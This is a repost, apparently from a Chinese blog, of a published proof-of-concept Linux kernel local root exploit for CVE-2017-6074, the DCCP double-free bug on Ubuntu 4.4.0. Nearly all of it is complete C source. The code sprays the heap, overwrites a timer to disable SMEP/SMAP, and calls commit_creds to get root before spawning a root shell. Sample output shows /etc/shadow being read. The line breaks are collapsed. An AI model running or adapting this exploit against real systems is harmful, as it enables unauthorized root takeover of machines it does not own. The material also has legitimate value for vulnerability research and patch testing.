欢迎光临
我们一直在努力

Linux Kernel 4.4.0 (Ubuntu) – DCCP Double-Free Privilege Escalation


// // EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471 // // A proof-of-concept local root exploit for CVE-2017-6074. // Includes a semireliable SMAP/SMEP bypass. // Tested on 4.4.0-62-generic #83-Ubuntu kernel. // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074 // // Usage: // $ gcc poc.c -o pwn // $ ./pwn // [.] namespace sandbox setup successfully // [.] disabling SMEP & SMAP // [.] scheduling 0xffffffff81064550(0x406e0) // [.] waiting for the timer to execute // [.] done // [.] SMEP & SMAP should be off now // [.] getting root // [.] executing 0x402043 // [.] done // [.] should be root now // [.] checking if we got root // [+] got r00t ^_^ // [!] don't kill the exploit binary, the kernel will crash // # cat /etc/shadow // ... // daemon:*:17149:0:99999:7::: // bin:*:17149:0:99999:7::: // sys:*:17149:0:99999:7::: // sync:*:17149:0:99999:7::: // games:*:17149:0:99999:7::: // ... // // Andrey Konovalov <andreyknvl@gmail.com> #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sched.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <arpa/inet.h> #include <linux/if_packet.h> #include <netinet/if_ether.h> #define SMEP_SMAP_BYPASS    1 // Needed for local root. #define COMMIT_CREDS        0xffffffff810a2840L #define PREPARE_KERNEL_CRED    0xffffffff810a2c30L #define SHINFO_OFFSET        1728 // Needed for SMEP_SMAP_BYPASS. #define NATIVE_WRITE_CR4    0xffffffff81064550ul #define CR4_DESIRED_VALUE    0x406e0ul #define TIMER_OFFSET        (728 + 48 + 104) #define KMALLOC_PAD 128 #define KMALLOC_WARM 32 #define CATCH_FIRST 6 #define CATCH_AGAIN 16 #define CATCH_AGAIN_SMALL 64 // Port is incremented on each use. static int port = 11000; void debug(const char *msg) { /*     char buffer[32];     snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg/n", msg);     system(buffer); */ } // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * struct ubuf_info {     uint64_t callback;        // void (*callback)(struct ubuf_info *, bool)     uint64_t ctx;            // void *     uint64_t desc;            // unsigned long }; struct skb_shared_info {     uint8_t  nr_frags;        // unsigned char     uint8_t  tx_flags;        // __u8     uint16_t gso_size;        // unsigned short     uint16_t gso_segs;        // unsigned short     uint16_t gso_type;        // unsigned short     uint64_t frag_list;        // struct sk_buff *     uint64_t hwtstamps;        // struct skb_shared_hwtstamps     uint32_t tskey;            // u32     uint32_t ip6_frag_id;        // __be32     uint32_t dataref;        // atomic_t     uint64_t destructor_arg;    // void *     uint8_t  frags[16][17];        // skb_frag_t frags[MAX_SKB_FRAGS]; }; struct ubuf_info ui; void init_skb_buffer(char* buffer, void *func) {     memset(&buffer[0], 0, 2048);     struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET];     ssi->tx_flags = 0xff;     ssi->destructor_arg = (uint64_t)&ui;     ssi->nr_frags = 0;     ssi->frag_list = 0;     ui.callback = (unsigned long)func; } struct timer_list {     void        *next;     void        *prev;     unsigned long    expires;     void        (*function)(unsigned long);     unsigned long    data;     unsigned int    flags;     int        slack; }; void init_timer_buffer(char* buffer, void *func, unsigned long arg) {     memset(&buffer[0], 0, 2048);     struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];     timer->next = 0;     timer->prev = 0;     timer->expires = 4294943360;     timer->function = func;     timer->data = arg;     timer->flags = 1;     timer->slack = -1; } // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * struct dccp_handle {     struct sockaddr_in6 sa;     int s1;     int s2; }; void dccp_init(struct dccp_handle *handle, int port) {     handle->sa.sin6_family = AF_INET6;     handle->sa.sin6_port = htons(port);     inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);     handle->sa.sin6_flowinfo = 0;     handle->sa.sin6_scope_id = 0;     handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);     if (handle->s1 == -1) {         perror("socket(SOCK_DCCP)");         exit(EXIT_FAILURE);     }     int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));     if (rv != 0) {         perror("bind()");         exit(EXIT_FAILURE);     }     rv = listen(handle->s1, 0x9);     if (rv != 0) {         perror("listen()");         exit(EXIT_FAILURE);     }     int optval = 8;     rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,             &optval, sizeof(optval));     if (rv != 0) {         perror("setsockopt(IPV6_RECVPKTINFO)");         exit(EXIT_FAILURE);     }     handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);     if (handle->s1 == -1) {         perror("socket(SOCK_DCCP)");         exit(EXIT_FAILURE);     } } void dccp_kmalloc_kfree(struct dccp_handle *handle) {     int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));     if (rv != 0) {         perror("connect(SOCK_DCCP)");         exit(EXIT_FAILURE);     } } void dccp_kfree_again(struct dccp_handle *handle) {     int rv = shutdown(handle->s1, SHUT_RDWR);     if (rv != 0) {         perror("shutdown(SOCK_DCCP)");         exit(EXIT_FAILURE);     } } void dccp_destroy(struct dccp_handle *handle) {     close(handle->s1);     close(handle->s2); } // * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * * struct udp_fifo_handle {     int fds[2]; }; void udp_fifo_init(struct udp_fifo_handle* handle) {     int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);     if (rv != 0) {         perror("socketpair()");         exit(EXIT_FAILURE);     } } void udp_fifo_destroy(struct udp_fifo_handle* handle) {     close(handle->fds[0]);     close(handle->fds[1]); } void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) {     int rv = send(handle->fds[0], buffer, 1536, 0);     if (rv != 1536) {         perror("send()");         exit(EXIT_FAILURE);     } } void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) {     char buffer[128];     int rv = send(handle->fds[0], &buffer[0], 128, 0);     if (rv != 128) {         perror("send()");         exit(EXIT_FAILURE);     } } void udp_fifo_kfree(struct udp_fifo_handle* handle) {       char buffer[2048];     int rv = recv(handle->fds[1], &buffer[0], 1536, 0);     if (rv != 1536) {         perror("recv()");         exit(EXIT_FAILURE);     } } int timer_kmalloc() {     int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));     if (s == -1) {         perror("socket(SOCK_DGRAM)");         exit(EXIT_FAILURE);     }     return s; } #define CONF_RING_FRAMES 1 void timer_schedule(int handle, int timeout) {     int optval = TPACKET_V3;     int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION,             &optval, sizeof(optval));     if (rv != 0) {         perror("setsockopt(PACKET_VERSION)");         exit(EXIT_FAILURE);     }     struct tpacket_req3 tp;     memset(&tp, 0, sizeof(tp));     tp.tp_block_size = CONF_RING_FRAMES * getpagesize();     tp.tp_block_nr = 1;     tp.tp_frame_size = getpagesize();     tp.tp_frame_nr = CONF_RING_FRAMES;     tp.tp_retire_blk_tov = timeout;     rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING,             (void *)&tp, sizeof(tp));     if (rv != 0) {         perror("setsockopt(PACKET_RX_RING)");         exit(EXIT_FAILURE);     } } void socket_sendmmsg(int sock, char *buffer) {     struct mmsghdr msg[1];     msg[0].msg_hdr.msg_iovlen = 0;     // Buffer to kmalloc.     msg[0].msg_hdr.msg_control = &buffer[0];     msg[0].msg_hdr.msg_controllen = 2048;     // Make sendmmsg exit easy with EINVAL.     msg[0].msg_hdr.msg_name = "root";     msg[0].msg_hdr.msg_namelen = 1;     int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);     if (rv == -1 && errno != EINVAL) {         perror("[-] sendmmsg()");         exit(EXIT_FAILURE);     } } void sendmmsg_kmalloc_kfree(int port, char *buffer) {     int sock[2];     int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);     if (rv != 0) {         perror("socketpair()");         exit(EXIT_FAILURE);     }     socket_sendmmsg(sock[0], buffer);     close(sock[0]); } // * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * * void dccp_connect_pad(struct dccp_handle *handle, int port) {     handle->sa.sin6_family = AF_INET6;     handle->sa.sin6_port = htons(port);     inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);     handle->sa.sin6_flowinfo = 0;     handle->sa.sin6_scope_id = 0;     handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);     if (handle->s1 == -1) {         perror("socket(SOCK_DCCP)");         exit(EXIT_FAILURE);     }     int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));     if (rv != 0) {         perror("bind()");         exit(EXIT_FAILURE);     }     rv = listen(handle->s1, 0x9);     if (rv != 0) {         perror("listen()");         exit(EXIT_FAILURE);     }     handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);     if (handle->s1 == -1) {         perror("socket(SOCK_DCCP)");         exit(EXIT_FAILURE);     }     rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));     if (rv != 0) {         perror("connect(SOCK_DCCP)");         exit(EXIT_FAILURE);     } } void dccp_kmalloc_pad() {     int i;     struct dccp_handle handle;     for (i = 0; i < 4; i++) {         dccp_connect_pad(&handle, port++);     } } void timer_kmalloc_pad() {     int i;     for (i = 0; i < 4; i++) {         socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));     } } void udp_kmalloc_pad() {     int i, j;     char dummy[2048];     struct udp_fifo_handle uh[16];     for (i = 0; i < KMALLOC_PAD / 16; i++) {         udp_fifo_init(&uh[i]);         for (j = 0; j < 16; j++)             udp_fifo_kmalloc(&uh[i], &dummy[0]);     } } void kmalloc_pad() {     debug("dccp kmalloc pad");     dccp_kmalloc_pad();     debug("timer kmalloc pad");     timer_kmalloc_pad();     debug("udp kmalloc pad");     udp_kmalloc_pad(); } void udp_kmalloc_warm() {     int i, j;     char dummy[2048];     struct udp_fifo_handle uh[16];     for (i = 0; i < KMALLOC_WARM / 16; i++) {         udp_fifo_init(&uh[i]);         for (j = 0; j < 16; j++)             udp_fifo_kmalloc(&uh[i], &dummy[0]);     }     for (i = 0; i < KMALLOC_WARM / 16; i++) {         for (j = 0; j < 16; j++)             udp_fifo_kfree(&uh[i]);     } } void kmalloc_warm() {     udp_kmalloc_warm(); } // * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * * // Executes func(arg) from interrupt context multiple times. void kernel_exec_irq(void *func, unsigned long arg) {     int i;     struct dccp_handle dh;     struct udp_fifo_handle uh1, uh2, uh3, uh4;     char dummy[2048];     char buffer[2048];     printf("[.] scheduling %p(%p)/n", func, (void *)arg);     memset(&dummy[0], 0xc3, 2048);     init_timer_buffer(&buffer[0], func, arg);     udp_fifo_init(&uh1);     udp_fifo_init(&uh2);     udp_fifo_init(&uh3);     udp_fifo_init(&uh4);     debug("kmalloc pad");     kmalloc_pad();     debug("kmalloc warm");     kmalloc_warm();     debug("dccp init");     dccp_init(&dh, port++);     debug("dccp kmalloc kfree");     dccp_kmalloc_kfree(&dh);     debug("catch 1");     for (i = 0; i < CATCH_FIRST; i++)         udp_fifo_kmalloc(&uh1, &dummy[0]);     debug("dccp kfree again");     dccp_kfree_again(&dh);     debug("catch 2");     for (i = 0; i < CATCH_FIRST; i++)         udp_fifo_kmalloc(&uh2, &dummy[0]);     int timers[CATCH_FIRST];     debug("catch 1 -> timer");     for (i = 0; i < CATCH_FIRST; i++) {         udp_fifo_kfree(&uh1);         timers[i] = timer_kmalloc();     }     debug("catch 1 small");     for (i = 0; i < CATCH_AGAIN_SMALL; i++)         udp_fifo_kmalloc_small(&uh4);     debug("schedule timers");     for (i = 0; i < CATCH_FIRST; i++)         timer_schedule(timers[i], 500);     debug("catch 2 -> overwrite timers");     for (i = 0; i < CATCH_FIRST; i++) {         udp_fifo_kfree(&uh2);         udp_fifo_kmalloc(&uh3, &buffer[0]);     }     debug("catch 2 small");     for (i = 0; i < CATCH_AGAIN_SMALL; i++)         udp_fifo_kmalloc_small(&uh4);     printf("[.] waiting for the timer to execute/n");     debug("wait");     sleep(1);     printf("[.] done/n"); } void disable_smep_smap() {     printf("[.] disabling SMEP & SMAP/n");     kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE);     printf("[.] SMEP & SMAP should be off now/n"); } // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * * // Executes func() from process context. void kernel_exec(void *func) {     int i;     struct dccp_handle dh;     struct udp_fifo_handle uh1, uh2, uh3;     char dummy[2048];     char buffer[2048];     printf("[.] executing %p/n", func);     memset(&dummy[0], 0, 2048);     init_skb_buffer(&buffer[0], func);     udp_fifo_init(&uh1);     udp_fifo_init(&uh2);     udp_fifo_init(&uh3);     debug("kmalloc pad");     kmalloc_pad();     debug("kmalloc warm");     kmalloc_warm();     debug("dccp init");     dccp_init(&dh, port++);     debug("dccp kmalloc kfree");     dccp_kmalloc_kfree(&dh);     debug("catch 1");     for (i = 0; i < CATCH_FIRST; i++)         udp_fifo_kmalloc(&uh1, &dummy[0]);     debug("dccp kfree again:");     dccp_kfree_again(&dh);     debug("catch 2");     for (i = 0; i < CATCH_FIRST; i++)         udp_fifo_kmalloc(&uh2, &dummy[0]);     debug("catch 1 -> overwrite");     for (i = 0; i < CATCH_FIRST; i++) {         udp_fifo_kfree(&uh1);         sendmmsg_kmalloc_kfree(port++, &buffer[0]);     }     debug("catch 2 -> free & trigger");     for (i = 0; i < CATCH_FIRST; i++)         udp_fifo_kfree(&uh2);     debug("catch 1 & 2");     for (i = 0; i < CATCH_AGAIN; i++)         udp_fifo_kmalloc(&uh3, &dummy[0]);     printf("[.] done/n"); } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; void get_root_payload(void) {     commit_creds(prepare_kernel_cred(0)); } void get_root() {     printf("[.] getting root/n");     kernel_exec(&get_root_payload);     printf("[.] should be root now/n"); } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * void exec_shell() {     char *shell = "/bin/bash";     char *args[] = {shell, "-i", NULL};     execve(shell, args, NULL); } void fork_shell() {     pid_t rv;     rv = fork();     if (rv == -1) {         perror("fork()");         exit(EXIT_FAILURE);     }     if (rv == 0) {         exec_shell();     } } bool is_root() {     // We can't simple check uid, since we're running inside a namespace     // with uid set to 0. Try opening /etc/shadow instead.     int fd = open("/etc/shadow", O_RDONLY);     if (fd == -1)         return false;     close(fd);     return true; } void check_root() {     printf("[.] checking if we got root/n");     if (!is_root()) {         printf("[-] something went wrong =(/n");         printf("[!] don't kill the exploit binary, the kernel will crash/n");         return;     }     printf("[+] got r00t ^_^/n");     printf("[!] don't kill the exploit binary, the kernel will crash/n");     // Fork and exec instead of just doing the exec to avoid freeing     // skbuffs and prevent crashes due to a allocator corruption.     fork_shell(); } static bool write_file(const char* file, const char* what, ...) {     char buf[1024];     va_list args;     va_start(args, what);     vsnprintf(buf, sizeof(buf), what, args);     va_end(args);     buf[sizeof(buf) - 1] = 0;     int len = strlen(buf);     int fd = open(file, O_WRONLY | O_CLOEXEC);     if (fd == -1)         return false;     if (write(fd, buf, len) != len) {         close(fd);         return false;     }     close(fd);     return true; } void setup_sandbox() {     int real_uid = getuid();     int real_gid = getgid();         if (unshare(CLONE_NEWUSER) != 0) {         perror("unshare(CLONE_NEWUSER)");         exit(EXIT_FAILURE);     }         if (unshare(CLONE_NEWNET) != 0) {         perror("unshare(CLONE_NEWUSER)");         exit(EXIT_FAILURE);     }     if (!write_file("/proc/self/setgroups", "deny")) {         perror("write_file(/proc/self/set_groups)");         exit(EXIT_FAILURE);     }     if (!write_file("/proc/self/uid_map", "0 %d 1/n", real_uid)){         perror("write_file(/proc/self/uid_map)");         exit(EXIT_FAILURE);     }     if (!write_file("/proc/self/gid_map", "0 %d 1/n", real_gid)) {         perror("write_file(/proc/self/gid_map)");         exit(EXIT_FAILURE);     }     cpu_set_t my_set;     CPU_ZERO(&my_set);     CPU_SET(0, &my_set);     if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {         perror("sched_setaffinity()");         exit(EXIT_FAILURE);     }     if (system("/sbin/ifconfig lo up") != 0) {         perror("system(/sbin/ifconfig lo up)");         exit(EXIT_FAILURE);     }     printf("[.] namespace sandbox setup successfully/n"); } int main() {     setup_sandbox(); #if SMEP_SMAP_BYPASS     disable_smep_smap(); #endif     get_root();     check_root();     while (true) {         sleep(100);     }     return 0; }

未经允许不得转载:杂术馆 » Linux Kernel 4.4.0 (Ubuntu) – DCCP Double-Free Privilege Escalation
分享到: 更多 (0)